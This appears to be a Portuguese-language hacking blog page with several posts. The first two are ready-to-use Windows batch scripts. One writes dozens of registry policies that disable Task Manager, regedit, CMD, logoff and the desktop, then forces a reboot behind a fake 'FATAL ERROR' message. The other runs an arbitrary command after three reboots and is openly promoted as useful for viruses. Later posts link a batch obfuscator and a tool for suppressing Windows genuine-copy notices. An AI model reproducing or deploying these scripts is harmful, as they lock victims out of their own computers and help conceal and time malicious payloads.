Batch para bloquear pc pelo regedit
Copie e salve como nomedoarquivo.bat
@echo off title Bloqueia Pc por REGEDIT set policies="HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" set explorer="HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" set winsyst="HKCU\Software\Policies\Microsoft\Windows\System" set unistall="HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" set international="HKCU\Control Panel\International" set bloq="1" set type="REG_DWORD" :: começamos a bloquear o PC reg add %policies% /v "disableregistrytools" /t %type% /d %bloq% /f reg add %policies% /v "DisableTaskMgr" /t %type% /d %bloq% /f reg add %policies% /v "NoDispBackgroundPage" /t %type% /d %bloq% /f reg add %policies% /v "NoDispAppearancePage" /t %type% /d %bloq% /f reg add %policies% /v "NoDispScrSavPage" /t %type% /d %bloq% /f reg add %policies% /v "NoDispSettingsPage" /t %type% /d %bloq% /f reg add %unistall% /v "NoAddRemovePrograms" /t %type% /d %bloq% /f reg add %explorer% /v "NODispCPL" /t %type% /d %bloq% /f reg add %explorer% /v "StartMenuLogOff" /t %type% /d %bloq% /f reg add %explorer% /v "HideClock" /t %type% /d %bloq% /f reg add %explorer% /v "NoClose" /t %type% /d %bloq% /f reg add %explorer% /v "NoDesktop" /t %type% /d %bloq% /f reg add %explorer% /v "NoFolderOtions" /t %type% /d %bloq% /f reg add %explorer% /v "NoFavoritesMenu" /t %type% /d %bloq% /f reg add %explorer% /v "NoFind" /t %type% /d %bloq% /f reg add %explorer% /v "NoFileMenu" /t %type% /d %bloq% /f reg add %explorer% /v "NoInternetIcon" /t %type% /d %bloq% /f reg add %explorer% /v "NoLoggOff" /t %type% /d %bloq% /f reg add %explorer% /v "NoRun" /t %type% /d %bloq% /f reg add %explorer% /v "NoSetTaskbar" /t %type% /d %bloq% /f reg add %explorer% /v "NoTrayContextMenu" /t %type% /d %bloq% /f reg add %explorer% /v "NoFind" /t %type% /d %bloq% /f reg add %explorer% /v "NoSetTaskBar" /t %type% /d %bloq% /f reg add %explorer% /v "NoCommonGroups" /t %type% /d %bloq% /f reg add %explorer% /v "NoFavoritesMenu" /t %type% /d %bloq% /f reg add %explorer% /v "NoStartMenuMFUprogramsList" /t %type% /d %bloq% /f reg add %explorer% /v "NoSMHelp" /t %type% /d %bloq% /f reg add %explorer% /v "NoStartMenuMorePrograms" /t %type% /d %bloq% /f reg add %explorer% /v "NoStartMenuPinnedList" /t %type% /d %bloq% /f reg add %explorer% /v "NoSetTaskbar" /t %type% /d %bloq% /f reg add %explorer% /v "NoToolbarsOnTaskbar" /t %type% /d %bloq% /f reg add %explorer% /v "NoSMMyDocs" /t %type% /d %bloq% /f reg add %explorer% /v "NoStartMenuMyMusic" /t %type% /d %bloq% /f reg add %explorer% /v "NoSMMyPictures" /t %type% /d %bloq% /f :: NOME AO LADO DO RELOGIO reg add %international% /v "s1159" /t "REG_SZ" /d "BOSS-HEAD" /f reg add %international% /v "s2359" /t "REG_SZ" /d "BOSS-HEAD" /f reg add %international% /v "sTimeFormat" /t "REG_SZ" /d "HH:mm:ss tt" /f reg add %winsyst% /v "DisableCMD" /t %type% /d %bloq% /f shutdown -r -c "FATAL ERROR WINDOWS NEED RESTART!!!" -t 20
Para melhor visualização click no Link http://paste.ubuntu.com/644474/
Popularity: unranked [?]
Executar comando apos 3 rebots
Fala Pessoal, aqui vai um codigo para executar determinado comando apos 3 rebots! muito bom para vírus e etc..
@echo off if exist "%systemroot%\KB930801.SYS" (goto next) ELSE ( echo. >"%systemroot%\KB930801.SYS" reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f /v Runexec /t reg_sz /d 3 exit ) :next for /f "Skip=1 Tokens=3*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v Runexec') do set valor_da_chave=%%a set /a valor_da_chave=%valor_da_chave%-1 if /i [%valor_da_chave%]==[0] goto exec reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f /v Runexec /t reg_sz /d %valor_da_chave% exit :exec :: Coloque aqui o que vc quer que seja executado apos 3 inicializações msg * O computador foi reiniciado 3 vezes. <code> </code>
Layout fode com a visualização, click no link para ver melhor o codigo: http://pastebin.com/rhXniVpC
Popularity: unranked [?]
Função para Criptografar e Descriptografar uma String
{Abaixo seguem 3 funcoes, a primeira retorna o código ASCII de cada caracter, a segunda Criptografa uma string e a terceira descriptografa. Voce pode sempre mudar a chave como preferir. Espero ter sido de ajuda - M C Zanetti} <code>//funcao que retorno o código ASCII dos caracteres function AsciiToInt(Caracter: Char): Integer; var i: Integer; begin i := 32; while i < 255 do begin if Chr(i) = Caracter then Break; i := i + 1; end; Result := i; end; { Esta funcao tem como objetivo criptografar uma string utilizando o código ASCII de cada caracter e somando a esse código o valor da CHAVE} Function Criptografa(texto:string;chave:integer):String; var cont:integer; retorno:string; begin if (trim(texto)=EmptyStr) or (chave=0) then begin result:=texto; end else begin retorno:=''; for cont:=1 to length(texto) do begin retorno:=retorno+chr(asciitoint(texto[cont])+chave); end; result:=retorno; end; end; {Esta funcao é semelhante a funcao de Criptografia mais com o objetivo de descriptografar a string } Function DesCriptografa(texto:string;chave:integer):String; var cont:integer; retorno:string; begin if (trim(texto)=EmptyStr) or (chave=0) then begin result:=texto; end else begin retorno:=''; for cont:=1 to length(texto) do begin retorno:=retorno+chr(asciitoint(texto[cont])-chave); end; result:=retorno; end; end; {Exemplo de Utilização das funcoes} data_inicio:=criptografa(strtran(datetostr(date),'/',''),108); //esta linha criptografa a data, somando ao codigo ASCII 108 posicoes data_inicio:=DesCriptografa(inicio,108); //esta linha descriptografa a data, retirando as mesmas 108 posicoes </code> <code>Dica: Em um mesmo campo ou string utilize sempre a mesma chave para criptografar e descriptografar.</code>
Novo layout fode com a visualização dos codigos, para ver ele melhor click : http://paste.ubuntu.com/639163/
Popularity: unranked [?]
Criptografia Bat Script
Fala pessoal depois de muito tempo sem postar, ando sem tempo
Aqui vai um novo Serviço do nosso site, um criptografador Batch Script.
Link: http://epterritori.orgfree.com/cript/Ocultador.php
Abraços!
Qualquer coisa entre em contato
Popularity: unranked [?]
#PrecoJusto
Há tempo demais somos obrigados a pagar valores exorbitantes para podermos ter aquilo que o resto do mundo inteiro tem barato: produtos de mídia e eletrônicos como DVD’s, BluRays, Videogames, Jogos, iPads, iPhones, iPods e tantos outros exemplos…
Acessem o Site http://www.precojustoja.com.br/
e Participem da Campanha, vale a pena e vamos tentar mudar essa merda… Eu não vejo nada de bom sendo feito com o dinheiro arrecado dos impostos abusivos você vê? se não tambem se inscreva.
Abraços MotherFuckers
Popularity: unranked [?]
Como Remover a Mensagem “Esta Cópia do Windows não é Original”
Se você atualizou seu Windows e sem querer baixou o “Notificação das Vantagens do Windows Original”
Agora fica aparecendo toda hora a mensagem:
Basta Baixar o Seguinte Programa e pronto, está mensagem não aparecera mais.
Download:http://www.clubedohardware.com.br/download/software/RemoveWGA.zip
E Lembre-se quando for atualizar esse lixo de desmarcar a opção deste milagroso programa chamado “Notificação das Vantagens do Windows Original”
ABraços
C.J.
Popularity: unranked [?]